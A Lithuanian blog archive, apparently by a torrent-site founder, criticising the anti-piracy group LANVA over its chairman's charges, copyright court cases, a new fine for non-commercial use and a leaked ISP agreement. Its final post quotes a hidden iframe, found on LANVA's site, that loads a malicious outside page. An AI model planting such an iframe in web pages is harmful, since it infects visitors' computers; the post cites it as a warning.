Žyma: LANVA

Narkotikų prekiavimų įtariamas LANVA pirmininkas Vytas Simanavičius vedė teisėjams seminarą

Visa žiniasklaida mirga (1, 2, 3, 4, 5) LANVA pirmininkui Vytui Simanavičiui pareikštais įtarimais dėl narkotinių ir psichotropinių medžiagų prekybos. Perskaitęs tai, prisiminiau vieną naujieną. Rugsėjo 4-5 dienomis Lietuvos Respublikos valstybinio patentų biuro organizuojamajame seminare LANVA pirmininkas skaitė pranešimą „Autorinių ir gretutinių teisių turėtojo vaidmuo įgyvendinant intelektinės nuosavybės teises“ (programa pdf). 35 Lietuvos teisėjams, neskaitant dar ir užsienio svečių. Cituoju:

„Šiame renginyje dalyvavo 35 Lietuvos teisėjai ir jų padėjėjai bei 6 teisėjai ir jų padėjėjai iš Estijos, Lenkijos ir Moldavijos aukštesniųjų teismų.“

Galima tik pasvarstyti, ką toks žmogus gali mokyti teisėjus. Nors V. Simanavičius turi tik mechaniko išsilavinimą, o ne teisinį ar informacinių technologijų, jis laikomas tinkamu mokyti teisėjus intelektinės nuosavybes teisių ir įrodymų rinkimo.

Reikia nepamiršti, kad 2011 metais LANVA mokė prokurorus ir policijos pareigūnus, kaip reikia gaudyti nusikaltėlius, o dabar jau moko ir teisėjus. Citata iš straipsnio:

LANVA atstovas teisėsaugininkams aiškino, kokius veiksmus reikia atlikti, kokius duomenis ir įrodymus surinkti atliekant tyrimą. Pavyzdžiui, buvo aiškinama, kaip identifikuoti tinklalapius, kuriuose yra atliekami pažeidimai, kaip nustatyti jų interneto protokolo (IP) adresą, serverio vietą ir tiekėją, atliekamus piniginius mokėjimus, net savininką ar administratorių.

Taip pat teisėsaugininkai buvo mokomi naudotis „torrent“ svetainėmis – jiems pateikta išsami instrukcija, kaip svetainėse užsiregistruoti, siųstis bylas, nustatyti jas dalinančius kompiuterius, analizuoti „torrent“ bylas ir t.t.

Darosi įdomu, kaip teisėjai, pareigūnai ir prokurorai gali objektyviai vertinti ir rinkti įrodymus, kai juos apmoko tokie žmonės kaip V. Simanavičius. Kaip teisėjas, kuris išklausė V. Simanavičiaus mokymus, gali ramiai teisti žmogų, kurio byloje įrodymus rinko LANVA? Atrodo tai visiškai nesuderinami dalykai, bet gal tik man.

Prisimenant 106 bylą, dabar jau suprantama, kaip pridarius ekranvaizdžius, žmogui gali būti atliekamos kratos ir su juo teisiamasi, nors po to paaiškėja, kad jokių įrodymų nėra.

 

106-to teismo sprendimas: nėr bylos

Pagaliau po kelių bylos nukėlimo kartų, buvo paskelbtas sprendimas. Nėr bylos. Byla buvo nutraukta. Žiniasklaida mirga nuo pranešimų apie pergalę, kurios laukė dauguma internetą naudojančių asmenų. Daug nerašysiu. Sprendimu džiaugiuosi ir aš. Plačiau pasiskaityti galima 15min.lt – du straipsniukai: pirmas ir antras.

106-to teismas. Ačiū MegaNet

Kaune rytoj vyks pirmoji istorijoje byla susijusi su Windows 7 skandalu. Viešu atgaminimu kaltinamas pilietis bus teisiamas. Pilietis buvo MegaNet vartotojas. Byla turėjo būti sprendžiama anksčiau, tačiau buvo nukelta dėl advokatų laiko stokos.

Spaudoje buvo kalbama, kad LinkoManija nepaliks savo vartotojų. Taip ir padarė. Vienas kitam padedami, buvo nusamdytas advokatas, kuris labai daug prisideda, padedamas ir atlikdamas darbą beveik veltui.

Graudu, kad MegaNet be jokių klausimų ar teismo sprendimų taip paima ir išduoda daugelio asmenų duomenis, kurie neaišku ar yra kalti.  Mano nuomone IPT turėtų saugoti savo klientus ir nedalinti duomenų, jeigu teismas nenusprendė jų išduoti. Juk taip svarbu jiems būti neutraliems ir nešališkiems šioje pozicijoje.

Patekus į rankas visiems LANVA surinktiems įrodymams, yra matoma, kaip MegaNet sugebėjo vienu laišku išduoti net šešių asmenų asmens duomenis, į kuriuos įeina piliečių asmens kodai, gyvenamosios vietos, kontaktiniai telefonų numeriai, IP bei kompiuterių MAC adresai.

Laukiam rytojaus…

Nebegaliu būti su LM

2010 metų sausio 15 dieną Vilniaus apygardos teismas priėmė MS ieškinį. Mane ir mano įmonę UAB „n5“ yra kaltinama už bendradarbiavimą atliekant autorinių teisių pažeidimus. Kas juos atliko, iki šios dienos nėra aišku ir įrodyta, tačiau mes lyg jiems padėjome. Kaltinami esame tuo, jog padėjome platinti 2 .torrent bylas 2003 metų „MS Office“ ir 2 .torrent bylas už 2007 metų „MS Office“ versijas. Nurodoma žala yra 107 340 568.56 Lt už 4 torrent bylas.

Ieškinyje, kuris susideda iš maždaug 130 lapų, taip pat prašoma areštuoti turto už 130 000 Lt iš manęs ir mano įmonės. Teismas per 3 dienas nuo ieškinio pateikimo turėjo nuspręsti ar areštuoti turtą… ir nusprendė jį areštuoti. Teismas nusprendė areštuoti turto už 130 000 litų, bei įpareigojo nutraukti bet kokius veiksmus su LM projektu ir jį laikinai sustabdyti. Kadangi projektas jau kurį laiką, nei asmeniškai man, nei mano įmonei UAB „n5“ nepriklauso, mes su įmone daugiau nebesiveliam į jį tol, kol bus išspręstas ginčas. Taip pat teismas uždraudė tai daryti. Teismo sprendimą apskundėme.

Tolimesnėje eigoje bus bendraujama su abiem pusėm ir po kokių 4 mėnesių bus paskirta teismo data. Tada teismas ir spręs, ar mes atlikome kažką nusikalstamo.

Sulaukiu tikrai labai daug laiškų su palaikymu, daug žmonių nori prisidėti ir padėti. Mes tai labai smarkiai vertiname. Palaikymo reikės. Būkite pasiruošę.

Administracinių teisės pažeidimų kodeksas – bauskime visus

Naujasis, šviežiai iškeptas administracinių teisės pažeidimų kodeksas, rašo, kad kiekvienas šalyje pilietis, kuris naudojasi internetu, tapo praktiškai nusikaltėlis (nu gal ne kiekvienas, bet bent porą šimtų tūkstančių piliečių tikrai). Jeigu kas pažįsta žmogų, kuris nepažeidžia šito įstatymo, pasidalinkite su visais.

214(10) straipsnis. Autorių teisių ir gretutinių teisių pažeidimas

Neteisėtas literatūros, mokslo ar meno kūrinio (įskaitant kompiuterių programas ir duomenų bazes) ar gretutinių teisių objekto arba jų dalies viešas atlikimas, atgaminimas, viešas paskelbimas, kitoks panaudojimas bet kokiais būdais ir priemonėmis nekomerciniais tikslais, taip pat neteisėtų kopijų platinimas, gabenimas ar laikymas komerciniais tikslais –

užtraukia baudą nuo vieno tūkstančio iki dviejų tūkstančių litų su kūrinio ar gretutinių teisių objekto neteisėtų kopijų konfiskavimu.

Gaila, tačiau tokie laikai ateina, kai Lietuvoje, norima bausti už nekomerciniais tikslais naudojamus kūrinius. Ši įstatymo pataisa gali nubausti kiekvieną vartotoją, potencialų faną. Autobuse leidžiami garsai iš mobiliojo telefono, tampa automatiškai draudžiami. Mokymosi ar švietimo tikslams parsisiunčiamos programos ar filmai dabar yra nusikaltimas.

Sunku pasakyti, ar tai pakeis žmonių nustatytas normas, tačiau LANVA teigia, kad gali būti nubaustas praktiškai kiekvienas interneto vartotojas.

Valstybei sugriežtinus atsakomybę, visiems interneto vartotojams, kurie neteisėtai naudoja kūrinius, netgi nekomerciniais tikslais, gresia administracinė atsakomybė.

Valstybė nesugriežtino įstatymo, o iš vis pridėjo, kad nekomerciniais tikslais naudojami kūriniai yra blogai. Įdomu, kokiais tyrimais jie rėmėsi, ar tiksliau kieno žodžiu.

Nemanau, kad šis įstatymas atspindi viešą interesą, o atvirkščiai suvaržo kelią į žinias ir inovacijas, kurios turėtų būti prieinamos kiekvienam piliečiui, kuris nesiekia komercinės naudos iš to. Valstybė turi kovoti už viešą interesą.

Abejoju, kad sumažės vartotojų, kurie kiekvieną dieną ima kažką iš interneto. Niekas to nesugebėjo padaryti per dešimtis metų. Manau problemos sprendimas yra netinkamas ir neapgalvotas.

LANVA – Kam rūpi žmogaus privatumo teisės?

lanva_nerupi_zmoniu_teises

Aptikau slaptą LANVA dokumentą, kurį ji išsiuntinėja visiems savo partneriams. Dokumento turinys šokiravo mane, kaip bandoma apgauti ne tik visą visuomenę, bet ir partnerius, su kuriais bandoma dirbti.

Kaip minima dokumente, jis turėtų būtį „pasirašytas“ 2009 m. liepos mėn. 8 d. (trečiadienį), 14.00 val. adresu Savanorių pr. 7 , Vilniuje.

Visa dokumento idėja yra priversti interneto paslaugų teikėjus (IPT) būti atsakingais už veiksmus, kurie yra atliekami jų vartotojų. Savo sąskaita atlikti savo srauto analizę ir monitoringą. Priversti leidybos studijas naudoti DRM technologijas, taip pakenkiant savo verslui bei vartotojų gerovei.

Aš pakomentuosiu trumpai keletą ištraukų:

– IPT įsipareigoja sudaryti sąlygas LANVA patikrinti savo serverius ir laikmenas (kuriuose tariamai saugoma intelektinės nuosavybės teises pažeidžianti informacija) per 24 valandas nuo prašymo pateikimo raštišku būdu.

LANVA nori priversti IPT pasirašyti dokumentą, kuriuo pagrindu būtų atskleidžiamos vartotojų pavardės ir asmeniniai duomenys, taip pažeidžiant kiekvieno žmogaus privatumą. Tokie duomenys turi būti atskleidžiami tik teismui nusprendus, o ne bet kokiems tretiems asmenims panorėjus. Europos Sąjunga yra ne kartą pasisakius, kad vartotojai turi turėti savo privatumą ir jų duomenys turi būti apsaugoti.

– IPT įsipareigoja LANVA prašymu pateikti jai duomenis asmenų, kurie besinaudodami IPT paslaugomis pažeidžia intelektinės nuosavybės teises.

Toliau sutartyje įrašyti punktai, kurių pagalba IPT bus atsakinga už visą srautą ir turinį, kurį atlieka jų vartotojai, bei pati turės pranešti pažeidimus, kuriuos atlieka vartotojai.

Prisegu patį visą dokumentą – LANVA_etikos_kodeksas

Tai tik mažas gan svarbus sutarties gabalėlis, kuriuo norima apgauti IPT. Sutartyje vienareikšmiškai neįmanoma įžvelgti naudos, kurią gautų leidybos įmonės arba interneto paslaugų teikėjai. Karteliniai susitarimai monopoliniam tinklui kurti bei leidybos įmonių prašymas diegti DRM pakenks visai technologinei visuomenės plėtrai, bei produktų kainų konkurencingumui.

Kopinkit viską, ką galite.

Pridedu: O štai ir Džiugo komentaras.

Google: Lietuvos antipiratinės veiklos asociacijos tinklapis užkrečia vartotojus

Praėjo savaitė nuo mūsų paskelbimo, kad (L)ANVA tinklapyje platinamas vartotojus užkrečiantis virusas, kuris automatiškai įsidiegia į kompiuterį ir šnipinėja bei siunčia asmeninius duomenis. Jokių pasitaisymo pokyčių vis dar nėra.

Trojos arklio aprašymas anglų kalba:

The files infected with Trojan.SWF.IFrame.Gen contain ActiveScript code that injects malicious JavaScript into the viewed web page. The injected code alters the Document Object Model, adding IFRAME elements pointing to off-site exploits which download and install various unwanted programs on the user’s machine.

Įstatymas numato bausmę už automatiškai įsidiegiančių programų, bei vartotojų informacijos vagimo.  Aišku, pranešti reikia policijai.

Google jau žengė žingsnį ir visiems vartotojams, kurie nori patekti iš paieškos sistemos, pateikia įspėjamąjį pranešimą (paspauskite bet kurią nuorodą), kad tinklapyje yra virusų, taip stengdamasi apsaugoti vartotojus nuo esamos grėsmės.

Lobistai bando „prakišti“ nelogiškus įstatymus

Prieš kelias dienas rašiau apie straipsnį, kuris man pasirodė labai įdomus. Įdomumas buvo šališkume ir straipsnio logikos bei argumentų stokojime. (Pilną straipsnį nuskenavo geri žmonės ir patalpino JPG formatu.)

Buvau šokiruotas matydamas, kas yra rašoma. Kaip tai yra toli nuo realių gyvenimiškų situacijų, su kuriomis susiduria kasdienis pilietis, tuo labiau – internautas. Maža ištrauka iš straipsniuko, kurią noriu pakomentuoti:

Vis dėlto netrukus padėtis gali pasikeisti. Kultūros  ministerija  dar  prie praėjusios Vyriausybės parengė įstatymo  projektą,  pagal  kurį siūloma  administracine  tvarka bausti ir tuos asmenis, kurie autorines ir gretutines teises pažeidžia neturėdami komercinių tikslų. Į užmarštį nustumtas projektas vėl prisimintas, jį apsvarstė Seimo komitetai ir, tikimasi, netrukus jis pasieks Seimą.

Toks rimtas parašymas gali susilaukti didelį visuomenės pasipiktinimą. Įgyvendinus tokį įstatymą, praktiškai kiekvienas žmogus taptų kaltas ir būtų baudžiamas. Visi visuomenės sluoksniai būtų paliesti. Kiek studentų ir žmonių trokštančių žinių nukentėtų? Kasdieną autorinės teisės būtų pažeidžiamos tūkstančius kartų (dabar turbūt tik šimtus kartų). Troleibuse moksleivio, kuris paleido savo mėgstamo atlikėjo dainą, kuri transliuojama viešai girdint visiems bendrakeleiviams būtų pažeidimas; studentas, kuris savo referate įdėjo  paveiksliuką, paimtą iš kokio nors portalo, taptų nusikaltėlis. Eilinis pilietis netinkamoje vietoje pasidaręs asmeninę nuotrauką irgi būtų baudžiamas, o ką jau kalbėti apie vaizdo įrašo peržiūrą YouTube, iš kur mums žinoti, kokiomis teisėmis jis apsaugotas? Juk jo žiūrėjimas – tai atgaminimas asmeniniame kompiuteryje. Aš pateikiau tik kelis smulkius pavyzdžius, o juk jų yra šimtai…

Autorių ir gretutinių teisių įstatymas kol kas nedraudžia mums viso to daryti, nesiekiant iš to komercinės naudos, o kai draus? Kiek artistų nesuras savo naujų fanų vien dėl to, kad troleibuse, ar YouTube’ėje  potencialus fanas neišgirdo tos dainos. Ką darys artistai, praradę potencialų faną, kai draugas negalės atsiųsti savo mėgstamo atlikėjo dainos pasiklausyti kitam draugui, nes tai bus nelegalu. Internete pilną tinklapių, kurie teikia vienokią ar kitokią informaciją. Ypač dabar labai sunku atskirti, kas pažeidžia autorines teisias, o kas ne.

Nereikia sėdėti sudėjus rankų, laukti, kol tokie įstatymai bus priimti. Tai apribos kiekvieno žmogaus laisvę, šalies technologinį kilimo lygį, vartotojų išprusimą, bei daugelis kitų faktorių.

(L)ANVA platina virusus

Šiandien mano antivirusinė aptiko kažką netikėto, mano vienoje iš mėgstamiausių svetainių. Angliškoje  tinklapio versijoje aptiko trojaną (anva.lt/index_en.html tik neikite). Gabaliukas išeities teksto:

<iframe src=”http://hotslotpot.cn/in.cgi?income65″ width=1 height=1 style=”visibility: hidden”>

Ne pirmą kartą matome, kaip ANVA ar LANVA nemoka ir nesupranta skaitmeninio pasaulio. Nesugeba susitvarkyti savo puslapio ir kelia visuomenei grėsmę.

Reikia imtis priemonių, kad tokie tinklapiai, užkrečiantys vartotojus virusais, turėtų būti sustabdyti. Juk tai aiškiai pažeidžia ne tik Lietuvos Respublikos įstatymus, bet kiekvieno vartotojo laisvės teises.

nonick LM’e vienas iš pirmujų pastebėjo šitą virusą, dėkui jam už info.